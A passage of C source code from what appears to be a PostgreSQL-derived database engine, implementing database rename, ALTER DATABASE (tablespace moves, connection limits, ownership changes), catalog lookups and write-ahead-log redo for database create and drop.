for database %u", db_id))); (void)namestrcpy(&(((Form_pg_database)GETSTRUCT(newtup))->datname), newname); simple_heap_update(rel, &newtup->t_self, newtup); CatalogUpdateIndexes(rel, newtup); /* update sequence info */ if (IS_PGXC_COORDINATOR && !IsConnFromCoord()) { RenameSequenceGTM((char*)oldname, (char*)newname, GTM_SEQ_DB_NAME); } /* * Close pg_database, but keep lock till commit. */ heap_close(rel, NoLock); /* * change the database name in the pg_job. */ pg_job_tbl = heap_open(PgJobRelationId, ExclusiveLock); scan = heap_beginscan(pg_job_tbl, SnapshotNow, 0, NULL); while (HeapTupleIsValid(tuple = heap_getnext(scan, ForwardScanDirection))) { Form_pg_job pg_job = (Form_pg_job)GETSTRUCT(tuple); if (strcmp(NameStr(pg_job->dbname), oldname) == 0) { update_pg_job_dbname(pg_job->job_id, newname); } } heap_endscan(scan); heap_close(pg_job_tbl, ExclusiveLock); } /* * Whether Check existance of a database with given db_id in * HDFS tablesacpe or not. * @_in_param db_id: The database oid to be checked. * @return Return StringInfo list of tablespace name if exists, otherwise return * NIL. */ List* HDFSTablespaceDirExistDatabase(Oid db_id) { return NIL; } #ifdef PGXC /* * IsSetTableSpace: * Returns true if it is ALTER DATABASE SET TABLESPACE */ bool IsSetTableSpace(AlterDatabaseStmt* stmt) { ListCell* option = NULL; /* Handle the SET TABLESPACE option separately */ foreach (option, stmt->options) { DefElem* defel = (DefElem*)lfirst(option); if (strcmp(defel->defname, "tablespace") == 0) return true; } return false; } #endif /* * ALTER DATABASE SET TABLESPACE */ static void movedb(const char* dbname, const char* tblspcname) { Oid db_id; Relation pgdbrel; int notherbackends; int npreparedxacts; HeapTuple oldtuple, newtuple; Oid src_tblspcoid, dst_tblspcoid; Datum new_record[Natts_pg_database]; bool new_record_nulls[Natts_pg_database]; bool new_record_repl[Natts_pg_database]; ScanKeyData scankey; SysScanDesc sysscan; AclResult aclresult; char* src_dbpath = NULL; char* dst_dbpath = NULL; DIR* dstdir = NULL; struct dirent* xlde = NULL; movedb_failure_params fparms; /* * Look up the target database's OID, and get exclusive lock on it. We * need this to ensure that no new backend starts up in the database while * we are moving it, and that no one is using it as a CREATE DATABASE * template or trying to delete it. */ pgdbrel = heap_open(DatabaseRelationId, RowExclusiveLock); if (!get_db_info( dbname, AccessExclusiveLock, &db_id, NULL, NULL, NULL, NULL, NULL, NULL, NULL, &src_tblspcoid, NULL, NULL)) ereport(ERROR, (errcode(ERRCODE_UNDEFINED_DATABASE), errmsg("database \"%s\" does not exist", dbname))); /* * We actually need a session lock, so that the lock will persist across * the commit/restart below. (We could almost get away with letting the * lock be released at commit, except that someone could try to move * relations of the DB back into the old directory while we rmtree() it.) */ LockSharedObjectForSession(DatabaseRelationId, db_id, 0, AccessExclusiveLock); #ifdef PGXC /* * Now that we have session lock, transaction lock is not necessary. * Besides, a PREPARE does not allow both transaction and session lock on the * same object */ UnlockSharedObject(DatabaseRelationId, db_id, 0, AccessExclusiveLock); #endif /* Permission check. */ AlterDatabasePermissionCheck(db_id, dbname); /* * Obviously can't move the tables of my own database */ if (db_id == u_sess->proc_cxt.MyDatabaseId) ereport(ERROR, (errcode(ERRCODE_OBJECT_IN_USE), errmsg("cannot change the tablespace of the currently open database"))); /* * Get tablespace's oid */ dst_tblspcoid = get_tablespace_oid(tblspcname, false); /* * Permission checks */ aclresult = pg_tablespace_aclcheck(dst_tblspcoid, GetUserId(), ACL_CREATE); if (aclresult != ACLCHECK_OK) aclcheck_error(aclresult, ACL_KIND_TABLESPACE, tblspcname); /* * pg_global must never be the default tablespace */ if (dst_tblspcoid == GLOBALTABLESPACE_OID) ereport(ERROR, (errcode(ERRCODE_INVALID_PARAMETER_VALUE), errmsg("pg_global cannot be used as default tablespace"))); /* * No-op if same tablespace */ if (src_tblspcoid == dst_tblspcoid) { heap_close(pgdbrel, NoLock); UnlockSharedObjectForSession(DatabaseRelationId, db_id, 0, AccessExclusiveLock); return; } /* * Check for other backends in the target database. (Because we hold the * database lock, no new ones can start after this.) * * As in CREATE DATABASE, check this after other error conditions. */ if (CountOtherDBBackends(db_id, &notherbackends, &npreparedxacts)) ereport(ERROR, (errcode(ERRCODE_OBJECT_IN_USE), errmsg("Database \"%s\" is being accessed by other users. You can stop all connections by command:" " \"clean connection to all force for database XXXX;\" or wait for the sessions to end by querying " "view: \"pg_stat_activity\".", dbname), errdetail_busy_db(notherbackends, npreparedxacts))); /* * Get old and new database paths */ src_dbpath = GetDatabasePath(db_id, src_tblspcoid); dst_dbpath = GetDatabasePath(db_id, dst_tblspcoid); /* * Force a checkpoint before proceeding. This will force dirty buffers out * to disk, to ensure source database is up-to-date on disk for the copy. * FlushDatabaseBuffers() would suffice for that, but we also want to * process any pending unlink requests. Otherwise, the check for existing * files in the target directory might fail unnecessarily, not to mention * that the copy might fail due to source files getting deleted under it. * On Windows, this also ensures that background procs don't hold any open * files, which would cause rmdir() to fail. */ RequestCheckpoint(CHECKPOINT_IMMEDIATE | CHECKPOINT_FORCE | CHECKPOINT_WAIT); /* * Check for existence of files in the target directory, i.e., objects of * this database that are already in the target tablespace. We can't * allow the move in such a case, because we would need to change those * relations' pg_class.reltablespace entries to zero, and we don't have * access to the DB's pg_class to do so. */ dstdir = AllocateDir(dst_dbpath); if (dstdir != NULL) { while ((xlde = ReadDir(dstdir, dst_dbpath)) != NULL) { if (strcmp(xlde->d_name, ".") == 0 || strcmp(xlde->d_name, "..") == 0) continue; ereport(ERROR, (errcode(ERRCODE_OBJECT_NOT_IN_PREREQUISITE_STATE), errmsg("some relations of database \"%s\" are already in tablespace \"%s\"", dbname, tblspcname), errhint( "You must move them back to the database's default tablespace before using this command."))); } FreeDir(dstdir); /* * The directory exists but is empty. We must remove it before using * the copydir function. */ if (rmdir(dst_dbpath) != 0) ereport(ERROR, (errcode(ERRCODE_IO_ERROR), errmsg("could not remove directory \"%s\": %m", dst_dbpath))); } /* * Use an ENSURE block to make sure we remove the debris if the copy fails * (eg, due to out-of-disk-space). This is not a 100% solution, because * of the possibility of failure during transaction commit, but it should * handle most scenarios. */ fparms.dest_dboid = db_id; fparms.dest_tsoid = dst_tblspcoid; PG_ENSURE_ERROR_CLEANUP(movedb_failure_callback, PointerGetDatum(&fparms)); { /* * Copy files from the old tablespace to the new one */ (void)copydir(src_dbpath, dst_dbpath, false, ERROR); /* * Record the filesystem change in XLOG */ { xl_dbase_create_rec xlrec; xlrec.db_id = db_id; xlrec.tablespace_id = dst_tblspcoid; xlrec.src_db_id = db_id; xlrec.src_tablespace_id = src_tblspcoid; XLogBeginInsert(); XLogRegisterData((char*)&xlrec, sizeof(xl_dbase_create_rec)); (void)XLogInsert(RM_DBASE_ID, XLOG_DBASE_CREATE | XLR_SPECIAL_REL_UPDATE); } /* * Update the database's pg_database tuple */ ScanKeyInit(&scankey, Anum_pg_database_datname, BTEqualStrategyNumber, F_NAMEEQ, NameGetDatum(dbname)); sysscan = systable_beginscan(pgdbrel, DatabaseNameIndexId, true, NULL, 1, &scankey); oldtuple = systable_getnext(sysscan); if (!HeapTupleIsValid(oldtuple)) /* shouldn't happen... */ ereport(ERROR, (errcode(ERRCODE_UNDEFINED_DATABASE), errmsg("database \"%s\" does not exist", dbname))); errno_t rc = EOK; rc = memset_s(new_record, sizeof(new_record), 0, sizeof(new_record)); securec_check(rc, "\0", "\0"); rc = memset_s(new_record_nulls, sizeof(new_record_nulls), false, sizeof(new_record_nulls)); securec_check(rc, "\0", "\0"); rc = memset_s(new_record_repl, sizeof(new_record_repl), false, sizeof(new_record_repl)); securec_check(rc, "\0", "\0"); new_record[Anum_pg_database_dattablespace - 1] = ObjectIdGetDatum(dst_tblspcoid); new_record_repl[Anum_pg_database_dattablespace - 1] = true; newtuple = (HeapTuple) tableam_tops_modify_tuple(oldtuple, RelationGetDescr(pgdbrel), new_record, new_record_nulls, new_record_repl); simple_heap_update(pgdbrel, &oldtuple->t_self, newtuple); /* Update indexes */ CatalogUpdateIndexes(pgdbrel, newtuple); systable_endscan(sysscan); /* * Force another checkpoint here. As in CREATE DATABASE, this is to * ensure that we don't have to replay a committed XLOG_DBASE_CREATE * operation, which would cause us to lose any unlogged operations * done in the new DB tablespace before the next checkpoint. */ RequestCheckpoint(CHECKPOINT_IMMEDIATE | CHECKPOINT_FORCE | CHECKPOINT_WAIT); /* * Force synchronous commit, thus minimizing the window between * copying the database files and commital of the transaction. If we * crash before committing, we'll leave an orphaned set of files on * disk, which is not fatal but not good either. */ ForceSyncCommit(); /* * Close pg_database, but keep lock till commit. */ heap_close(pgdbrel, NoLock); } PG_END_ENSURE_ERROR_CLEANUP(movedb_failure_callback, PointerGetDatum(&fparms)); #ifdef PGXC /* * Even if we are successful, ultimately this transaction may or may not * be committed. so arrange for cleanup of source directory or target * directory during commit or abort, respectively. */ fparms.src_tsoid = src_tblspcoid; set_dbcleanup_callback(movedb_xact_callback, &fparms, sizeof(fparms)); } /* * movedb_success_callback: * Cleanup files in the dbpath directory corresponding to db_id and tblspcoid. * This function code is actual part of the movedb() operation in PG. We have * made a function out of it for PGXC, and it gets called as part of the * at-commit xact callback mechanism. */ static void movedb_success_callback(Oid db_id, Oid src_tblspcoid) { char* src_dbpath = GetDatabasePath(db_id, src_tblspcoid); #endif /* PGXC */ /* * Commit the transaction so that the pg_database update is committed. If * we crash while removing files, the database won't be corrupt, we'll * just leave some orphaned files in the old directory. * * (This is OK because we know we aren't inside a transaction block.) * * XXX would it be safe/better to do this inside the ensure block? Not * convinced it's a good idea; consider elog just after the transaction * really commits. */ #ifdef PGXC /* * Don't commit the transaction. We don't require the two separate * commits since we handle this function as at-commit xact callback. */ #else PopActiveSnapshot(); CommitTransactionCommand(); /* Start new transaction for the remaining work; don't need a snapshot */ StartTransactionCommand(); #endif /* * Remove files from the old tablespace */ if (!rmtree(src_dbpath, true)) ereport( WARNING, (errmsg("some useless files may be left behind in old database directory \"%s\"", src_dbpath))); /* * Record the filesystem change in XLOG */ { xl_dbase_drop_rec xlrec; xlrec.db_id = db_id; xlrec.tablespace_id = src_tblspcoid; XLogBeginInsert(); XLogRegisterData((char*)&xlrec, sizeof(xl_dbase_drop_rec)); (void)XLogInsert(RM_DBASE_ID, XLOG_DBASE_DROP | XLR_SPECIAL_REL_UPDATE); } /* Now it's safe to release the database lock */ UnlockSharedObjectForSession(DatabaseRelationId, db_id, 0, AccessExclusiveLock); #ifdef PGXC pfree_ext(src_dbpath); #endif } #ifdef PGXC /* * Error cleanup callback for movedb. Aftec movedb() succeeds, the * transaction can still be aborted due to other nodes. So on abort-transaction, * this function is called to do the cleanup of target tablespace directory, * and on transaction commit, it is called to cleanup source directory. */ static void movedb_xact_callback(bool isCommit, const void* arg) { movedb_failure_params* fparms = (movedb_failure_params*)DatumGetPointer(arg); if (isCommit) movedb_success_callback(fparms->dest_dboid, fparms->src_tsoid); else { /* Call the same function that is used in ENSURE block for movedb() */ movedb_failure_callback(XACT_EVENT_ABORT, PointerGetDatum(arg)); } } #endif /* Error cleanup callback for movedb */ static void movedb_failure_callback(int code, Datum arg) { movedb_failure_params* fparms = (movedb_failure_params*)DatumGetPointer(arg); char* dstpath = NULL; /* Get rid of anything we managed to copy to the target directory */ dstpath = GetDatabasePath(fparms->dest_dboid, fparms->dest_tsoid); (void)rmtree(dstpath, true); } /* * ALTER DATABASE name ... */ void AlterDatabase(AlterDatabaseStmt* stmt, bool isTopLevel) { Relation rel; HeapTuple tuple, newtuple; ScanKeyData scankey; SysScanDesc scan; ListCell* option = NULL; int connlimit = -1; DefElem* dconnlimit = NULL; DefElem* dtablespace = NULL; DefElem* privateobject = NULL; Datum new_record[Natts_pg_database]; bool new_record_nulls[Natts_pg_database]; bool new_record_repl[Natts_pg_database]; /* Extract options from the statement node tree */ foreach (option, stmt->options) { DefElem* defel = (DefElem*)lfirst(option); if (strcmp(defel->defname, "connectionlimit") == 0) { if (dconnlimit != NULL) ereport(ERROR, (errcode(ERRCODE_SYNTAX_ERROR), errmsg("conflicting or redundant options"))); dconnlimit = defel; } else if (strcmp(defel->defname, "tablespace") == 0) { if (dtablespace != NULL) ereport(ERROR, (errcode(ERRCODE_SYNTAX_ERROR), errmsg("conflicting or redundant options"))); dtablespace = defel; } else if (strcmp(defel->defname, "privateobject") == 0) { if (privateobject != NULL) ereport(ERROR, (errcode(ERRCODE_SYNTAX_ERROR), errmsg("conflicting or redundant options"))); privateobject = defel; } else ereport(ERROR, (errcode(ERRCODE_SYNTAX_ERROR), errmsg("option \"%s\" not recognized", defel->defname))); } if (dtablespace != NULL) { Oid dst_deftablespace = get_tablespace_oid(strVal(dtablespace->arg), false); /* currently, can't be specified along with any other options */ Assert(!dconnlimit); if (IsSpecifiedTblspc(dst_deftablespace, FILESYSTEM_HDFS)) { ereport(ERROR, (errcode(ERRCODE_INVALID_PARAMETER_VALUE), errmsg("DFS tablespace can not be used as default tablespace."))); } /* this case isn't allowed within a transaction block */ #ifdef PGXC /* Clean connections before alter a database on local node */ if (IS_PGXC_COORDINATOR && !IsConnFromCoord()) { /* clean all connections with dbname on all CNs before db operations */ PreCleanAndCheckConns(stmt->dbname, false); } /* ... but we allow it on remote nodes */ if (IS_PGXC_COORDINATOR && !IsConnFromCoord()) #endif PreventTransactionChain(isTopLevel, "ALTER DATABASE SET TABLESPACE"); movedb(stmt->dbname, strVal(dtablespace->arg)); return; } if (dconnlimit != NULL) { connlimit = intVal(dconnlimit->arg); if (connlimit < -1) ereport( ERROR, (errcode(ERRCODE_INVALID_PARAMETER_VALUE), errmsg("invalid connection limit: %d", connlimit))); } /* * Get the old tuple. We don't need a lock on the database per se, * because we're not going to do anything that would mess up incoming * connections. */ rel = heap_open(DatabaseRelationId, RowExclusiveLock); ScanKeyInit(&scankey, Anum_pg_database_datname, BTEqualStrategyNumber, F_NAMEEQ, NameGetDatum(stmt->dbname)); scan = systable_beginscan(rel, DatabaseNameIndexId, true, NULL, 1, &scankey); tuple = systable_getnext(scan); if (!HeapTupleIsValid(tuple)) ereport(ERROR, (errcode(ERRCODE_UNDEFINED_DATABASE), errmsg("database \"%s\" does not exist", stmt->dbname))); /* Permmision Check */ AlterDatabasePermissionCheck(HeapTupleGetOid(tuple), stmt->dbname); /* * Build an updated tuple, perusing the information just obtained */ errno_t rc = EOK; rc = memset_s(new_record, sizeof(new_record), 0, sizeof(new_record)); securec_check(rc, "\0", "\0"); rc = memset_s(new_record_nulls, sizeof(new_record_nulls), false, sizeof(new_record_nulls)); securec_check(rc, "\0", "\0"); rc = memset_s(new_record_repl, sizeof(new_record_repl), false, sizeof(new_record_repl)); securec_check(rc, "\0", "\0"); if (dconnlimit != NULL) { new_record[Anum_pg_database_datconnlimit - 1] = Int32GetDatum(connlimit); new_record_repl[Anum_pg_database_datconnlimit - 1] = true; } if (privateobject != NULL) { bool enablePrivateObject = (intVal(privateobject->arg) > 0); Form_pg_database dbform = (Form_pg_database)GETSTRUCT(tuple); AlterDatabasePrivateObject(dbform, HeapTupleGetOid(tuple), enablePrivateObject); } newtuple = (HeapTuple) tableam_tops_modify_tuple(tuple, RelationGetDescr(rel), new_record, new_record_nulls, new_record_repl); simple_heap_update(rel, &tuple->t_self, newtuple); /* Update indexes */ CatalogUpdateIndexes(rel, newtuple); systable_endscan(scan); /* Close pg_database, but keep lock till commit */ heap_close(rel, NoLock); } /* * ALTER DATABASE name SET ... */ void AlterDatabaseSet(AlterDatabaseSetStmt* stmt) { Oid datid = get_database_oid(stmt->dbname, false); /* * Obtain a lock on the database and make sure it didn't go away in the * meantime. */ shdepLockAndCheckObject(DatabaseRelationId, datid); /* Permission check. */ AlterDatabasePermissionCheck(datid, stmt->dbname); AlterSetting(datid, InvalidOid, stmt->setstmt); #ifdef ENABLE_MULTIPLE_NODES printHintInfo(stmt->dbname, NULL); #endif UnlockSharedObject(DatabaseRelationId, datid, 0, AccessShareLock); } /* * ALTER DATABASE name OWNER TO newowner */ void AlterDatabaseOwner(const char* dbname, Oid newOwnerId) { HeapTuple tuple; Relation rel; ScanKeyData scankey; SysScanDesc scan; Form_pg_database datForm; if (userbindlc(newOwnerId)) ereport(ERROR, (errcode(ERRCODE_INVALID_PARAMETER_VALUE), errmsg("database cannot be owned by logic cluster user."))); /* * Get the old tuple. We don't need a lock on the database per se, * because we're not going to do anything that would mess up incoming * connections. */ rel = heap_open(DatabaseRelationId, RowExclusiveLock); ScanKeyInit(&scankey, Anum_pg_database_datname, BTEqualStrategyNumber, F_NAMEEQ, NameGetDatum(dbname)); scan = systable_beginscan(rel, DatabaseNameIndexId, true, NULL, 1, &scankey); tuple = systable_getnext(scan); if (!HeapTupleIsValid(tuple)) ereport(ERROR, (errcode(ERRCODE_UNDEFINED_DATABASE), errmsg("database \"%s\" does not exist", dbname))); datForm = (Form_pg_database)GETSTRUCT(tuple); /* * If the new owner is the same as the existing owner, consider the * command to have succeeded. This is to be consistent with other * objects. */ if (datForm->datdba != newOwnerId) { Datum repl_val[Natts_pg_database]; bool repl_null[Natts_pg_database]; bool repl_repl[Natts_pg_database]; Acl* newAcl = NULL; Datum aclDatum; bool isNull = false; HeapTuple newtuple; errno_t rc; /* Otherwise, must be owner of the existing object */ if (!pg_database_ownercheck(HeapTupleGetOid(tuple), GetUserId())) aclcheck_error(ACLCHECK_NOT_OWNER, ACL_KIND_DATABASE, dbname); /* Must be able to become new owner */ check_is_member_of_role(GetUserId(), newOwnerId); /* * must have createdb rights * * NOTE: This is different from other alter-owner checks in that the * current user is checked for createdb privileges instead of the * destination owner. This is consistent with the CREATE case for * databases. Because superusers will always have this right, we need * no special case for them. */ if (!have_createdb_privilege()) ereport(ERROR, (errcode(ERRCODE_INSUFFICIENT_PRIVILEGE), errmsg("permission denied to change owner of database"))); rc = memset_s(repl_null, sizeof(repl_null), false, sizeof(repl_null)); securec_check(rc, "\0", "\0"); rc = memset_s(repl_repl, sizeof(repl_repl), false, sizeof(repl_repl)); securec_check(rc, "\0", "\0"); repl_repl[Anum_pg_database_datdba - 1] = true; repl_val[Anum_pg_database_datdba - 1] = ObjectIdGetDatum(newOwnerId); /* * Determine the modified ACL for the new owner. This is only * necessary when the ACL is non-null. */ aclDatum = heap_getattr(tuple, Anum_pg_database_datacl, RelationGetDescr(rel), &isNull); if (!isNull) { newAcl = aclnewowner(DatumGetAclP(aclDatum), datForm->datdba, newOwnerId); repl_repl[Anum_pg_database_datacl - 1] = true; repl_val[Anum_pg_database_datacl - 1] = PointerGetDatum(newAcl); } newtuple = (HeapTuple) tableam_tops_modify_tuple(tuple, RelationGetDescr(rel), repl_val, repl_null, repl_repl); simple_heap_update(rel, &newtuple->t_self, newtuple); CatalogUpdateIndexes(rel, newtuple); tableam_tops_free_tuple(newtuple); /* Update owner dependency reference */ changeDependencyOnOwner(DatabaseRelationId, HeapTupleGetOid(tuple), newOwnerId); } systable_endscan(scan); /* Close pg_database, but keep lock till commit */ heap_close(rel, NoLock); } /* * Helper functions */ /* * Look up info about the database named "name". If the database exists, * obtain the specified lock type on it, fill in any of the remaining * parameters that aren't NULL, and return TRUE. If no such database, * return FALSE. */ static bool get_db_info(const char* name, LOCKMODE lockmode, Oid* dbIdP, Oid* ownerIdP, int* encodingP, bool* dbIsTemplateP, bool* dbAllowConnP, Oid* dbLastSysOidP, TransactionId* dbFrozenXidP, MultiXactId *dbMinMultiP, Oid* dbTablespace, char** dbCollate, char** dbCtype, char** dbcompatibility) { bool result = false; Relation relation; AssertArg(name); /* Caller may wish to grab a better lock on pg_database beforehand... */ relation = heap_open(DatabaseRelationId, AccessShareLock); /* * Loop covers the rare case where the database is renamed before we can * lock it. We try again just in case we can find a new one of the same * name. */ for (;;) { ScanKeyData scanKey; SysScanDesc scan; HeapTuple tuple; Oid dbOid; /* * there's no syscache for database-indexed-by-name, so must do it the * hard way */ ScanKeyInit(&scanKey, Anum_pg_database_datname, BTEqualStrategyNumber, F_NAMEEQ, NameGetDatum(name)); scan = systable_beginscan(relation, DatabaseNameIndexId, true, NULL, 1, &scanKey); tuple = systable_getnext(scan); if (!HeapTupleIsValid(tuple)) { /* definitely no database of that name */ systable_endscan(scan); break; } dbOid = HeapTupleGetOid(tuple); systable_endscan(scan); /* * Now that we have a database OID, we can try to lock the DB. */ if (lockmode != NoLock) LockSharedObject(DatabaseRelationId, dbOid, 0, lockmode); /* * And now, re-fetch the tuple by OID. If it's still there and still * the same name, we win; else, drop the lock and loop back to try * again. */ tuple = SearchSysCache1(DATABASEOID, ObjectIdGetDatum(dbOid)); if (HeapTupleIsValid(tuple)) { Form_pg_database dbform = (Form_pg_database)GETSTRUCT(tuple); if (strcmp(name, NameStr(dbform->datname)) == 0) { /* oid of the database */ if (dbIdP != NULL) *dbIdP = dbOid; /* oid of the owner */ if (ownerIdP != NULL) *ownerIdP = dbform->datdba; /* character encoding */ if (encodingP != NULL) *encodingP = dbform->encoding; /* allowed as template? */ if (dbIsTemplateP != NULL) *dbIsTemplateP = dbform->datistemplate; /* allowing connections? */ if (dbAllowConnP != NULL) *dbAllowConnP = dbform->datallowconn; /* last system OID used in database */ if (dbLastSysOidP != NULL) *dbLastSysOidP = dbform->datlastsysoid; /* limit of frozen XIDs */ if (dbFrozenXidP != NULL) { bool isNull = false; TransactionId datfrozenxid; Datum xid64datum = heap_getattr(tuple, Anum_pg_database_datfrozenxid64, RelationGetDescr(relation), &isNull); if (isNull) { datfrozenxid = dbform->datfrozenxid; if (TransactionIdPrecedes(t_thrd.xact_cxt.ShmemVariableCache->nextXid, datfrozenxid)) datfrozenxid = FirstNormalTransactionId; } else { datfrozenxid = DatumGetTransactionId(xid64datum); } *dbFrozenXidP = datfrozenxid; } #ifndef ENABLE_MULTIPLE_NODES /* limit of frozen Multixacts */ if (dbMinMultiP != NULL) { bool isNull = false; Datum minmxidDatum = heap_getattr(tuple, Anum_pg_database_datminmxid, RelationGetDescr(relation), &isNull); *dbMinMultiP = isNull ? FirstMultiXactId : DatumGetTransactionId(minmxidDatum); } #endif /* default tablespace for this database */ if (dbTablespace != NULL) *dbTablespace = dbform->dattablespace; /* default locale settings for this database */ if (dbCollate != NULL) *dbCollate = pstrdup(NameStr(dbform->datcollate)); if (dbCtype != NULL) *dbCtype = pstrdup(NameStr(dbform->datctype)); if (dbcompatibility != NULL) *dbcompatibility = pstrdup(NameStr(dbform->datcompatibility)); ReleaseSysCache(tuple); result = true; break; } /* can only get here if it was just renamed */ ReleaseSysCache(tuple); } if (lockmode != NoLock) UnlockSharedObject(DatabaseRelationId, dbOid, 0, lockmode); } heap_close(relation, AccessShareLock); return result; } /* Check if current user has createdb privileges */ bool have_createdb_privilege(void) { bool result = false; HeapTuple utup; /* Superusers can always do everything */ if (superuser()) return true; utup = SearchSysCache1(AUTHOID, ObjectIdGetDatum(GetUserId())); if (HeapTupleIsValid(utup)) { result = ((Form_pg_authid)GETSTRUCT(utup))->rolcreatedb; ReleaseSysCache(utup); } return result; } /* * Remove tablespace directories * * We don't know what tablespaces db_id is using, so iterate through all * tablespaces removing <tablespace>/db_id */ static void remove_dbtablespaces(Oid db_id) { Relation rel; TableScanDesc scan; HeapTuple tuple; Snapshot snapshot; /* * As in createdb(), we'd better use an MVCC snapshot here, since this * scan can run for a long time. Duplicate visits to tablespaces would be * harmless, but missing a tablespace could result in permanently leaked * files. * * XXX change this when a generic fix for SnapshotNow races is implemented */ snapshot = RegisterSnapshot(GetLatestSnapshot()); rel = heap_open(TableSpaceRelationId, AccessShareLock); scan = tableam_scan_begin(rel, snapshot, 0, NULL); while ((tuple = (HeapTuple) tableam_scan_getnexttuple(scan, ForwardScanDirection)) != NULL) { Oid dsttablespace = HeapTupleGetOid(tuple); char* dstpath = NULL; struct stat st; /* Don't mess with the global tablespace */ if (dsttablespace == GLOBALTABLESPACE_OID) continue; dstpath = GetDatabasePath(db_id, dsttablespace); if (lstat(dstpath, &st) < 0 || !S_ISDIR(st.st_mode)) { /* Assume we can ignore it */ pfree_ext(dstpath); continue; } if (!rmtree(dstpath, true)) ereport( WARNING, (errmsg("some useless files may be left behind in old database directory \"%s\"", dstpath))); /* Record the filesystem change in XLOG */ { xl_dbase_drop_rec xlrec; xlrec.db_id = db_id; xlrec.tablespace_id = dsttablespace; XLogBeginInsert(); XLogRegisterData((char*)&xlrec, sizeof(xl_dbase_drop_rec)); (void)XLogInsert(RM_DBASE_ID, XLOG_DBASE_DROP | XLR_SPECIAL_REL_UPDATE); } pfree_ext(dstpath); } tableam_scan_end(scan); heap_close(rel, AccessShareLock); UnregisterSnapshot(snapshot); } /* * Check for existing files that conflict with a proposed new DB OID; * return TRUE if there are any * * If there were a subdirectory in any tablespace matching the proposed new * OID, we'd get a create failure due to the duplicate name ... and then we'd * try to remove that already-existing subdirectory during the cleanup in * remove_dbtablespaces. Nuking existing files seems like a bad idea, so * instead we make this extra check before settling on the OID of the new * database. This exactly parallels what GetNewRelFileNode() does for table * relfilenode values. */ static bool check_db_file_conflict(Oid db_id) { bool result = false; Relation rel; TableScanDesc scan; HeapTuple tuple; Snapshot snapshot; /* * As in createdb(), we'd better use an MVCC snapshot here; missing a * tablespace could result in falsely reporting the OID is unique, with * disastrous future consequences per the comment above. * * XXX change this when a generic fix for SnapshotNow races is implemented */ snapshot = RegisterSnapshot(GetLatestSnapshot()); rel = heap_open(TableSpaceRelationId, AccessShareLock); scan = tableam_scan_begin(rel, snapshot, 0, NULL); while ((tuple = (HeapTuple) tableam_scan_getnexttuple(scan, ForwardScanDirection)) != NULL) { Oid dsttablespace = HeapTupleGetOid(tuple); char* dstpath = NULL; struct stat st; /* Don't mess with the global tablespace */ if (dsttablespace == GLOBALTABLESPACE_OID) continue; dstpath = GetDatabasePath(db_id, dsttablespace); if (lstat(dstpath, &st) == 0) { /* Found a conflicting file (or directory, whatever) */ pfree_ext(dstpath); result = true; break; } pfree_ext(dstpath); } tableam_scan_end(scan); heap_close(rel, AccessShareLock); UnregisterSnapshot(snapshot); return result; } /* * Issue a suitable errdetail message for a busy database */ int errdetail_busy_db(int notherbackends, int npreparedxacts) { if (notherbackends > 0 && npreparedxacts > 0) /* We don't deal with singular versus plural here, since gettext * doesn't support multiple plurals in one string. */ errdetail("There are %d other session(s) and %d prepared transaction(s) using the database.", notherbackends, npreparedxacts); else if (notherbackends > 0) errdetail_plural("There is %d other session using the database.", "There are %d other sessions using the database.", notherbackends, notherbackends); else errdetail_plural("There is %d prepared transaction using the database.", "There are %d prepared transactions using the database.", npreparedxacts, npreparedxacts); return 0; /* just to keep ereport macro happy */ } /* * get_database_oid - given a database name, look up the OID * * If missing_ok is false, throw an error if database name not found. If * true, just return InvalidOid. */ Oid get_database_oid(const char* dbname, bool missing_ok) { Relation pg_database; ScanKeyData entry[1]; SysScanDesc scan; HeapTuple dbtuple; Oid oid; /* * There's no syscache for pg_database indexed by name, so we must look * the hard way. */ pg_database = heap_open(DatabaseRelationId, AccessShareLock); ScanKeyInit(&entry[0], Anum_pg_database_datname, BTEqualStrategyNumber, F_NAMEEQ, CStringGetDatum(dbname)); scan = systable_beginscan(pg_database, DatabaseNameIndexId, true, NULL, 1, entry); dbtuple = systable_getnext(scan); /* We assume that there can be at most one matching tuple */ if (HeapTupleIsValid(dbtuple)) oid = HeapTupleGetOid(dbtuple); else oid = InvalidOid; systable_endscan(scan); heap_close(pg_database, AccessShareLock); if (!OidIsValid(oid) && !missing_ok) ereport(ERROR, (errcode(ERRCODE_UNDEFINED_DATABASE), errmsg("database \"%s\" does not exist", dbname))); return oid; } /* * get_database_name - given a database OID, look up the name * * Returns a palloc'd string, or NULL if no such database. */ char* get_database_name(Oid dbid) { HeapTuple dbtuple; char* result = NULL; dbtuple = SearchSysCache1(DATABASEOID, ObjectIdGetDatum(dbid)); if (HeapTupleIsValid(dbtuple)) { result = pstrdup(NameStr(((Form_pg_database)GETSTRUCT(dbtuple))->datname)); ReleaseSysCache(dbtuple); } else result = NULL; return result; } char* get_and_check_db_name(Oid dbid, bool is_ereport) { char* dbname = NULL; dbname = get_database_name(dbid); if (dbname == NULL) { if (is_ereport) { ereport(ERROR, (errcode(ERRCODE_UNDEFINED_DATABASE), errmsg("database with OID %u does not exist", dbid))); } dbname = pstrdup("invalid database"); } return dbname; } /* * DATABASE resource manager's routines */ void xlog_db_create(Oid dstDbId, Oid dstTbSpcId, Oid srcDbId, Oid srcTbSpcId) { char* src_path = NULL; char* dst_path = NULL; struct stat st; src_path = GetDatabasePath(srcDbId, srcTbSpcId); dst_path = GetDatabasePath(dstDbId, dstTbSpcId); /* * Our theory for replaying a CREATE is to forcibly drop the target * subdirectory if present, then re-copy the source data. This may be * more work than needed, but it is simple to implement. */ if (stat(dst_path, &st) == 0 && S_ISDIR(st.st_mode) && !IsRoachRestore()) { if (!rmtree(dst_path, true)) /* If this failed, copydir() below is going to error. */ ereport(WARNING, (errmsg("some useless files may be left behind in old database directory \"%s\"", dst_path))); } /* * Force dirty buffers out to disk, to ensure source database is * up-to-date for the copy. */ FlushDatabaseBuffers(srcDbId); /* * Copy this subdirectory to the new location * * We don't need to copy subdirectories */ bool copyRes = false; copyRes = copydir(src_path, dst_path, false, WARNING); /* * In this scenario, src_path may be droped: * * #1. CHECKPOINT; * #2. XLOG create db1 template db2; * #3. XLOG drop db2; * #4. Redo killed; * #5. start again and Redo from #1, when Redo #2, src_path do not exits because it is already drop in Redo #3; */ if (!copyRes) { RelFileNode tmp = {srcTbSpcId, srcDbId, 0, InvalidBktId}; /* forknum and blockno has no meaning */ log_invalid_page(tmp, MAIN_FORKNUM, 0, NOT_PRESENT, NULL); } } void xlog_db_drop(Oid dbId, Oid tbSpcId) { char* dst_path = GetDatabasePath(dbId, tbSpcId); if (InHotStandby) { /* * Lock database while we resolve conflicts to ensure that * InitPostgres() cannot fully re-execute 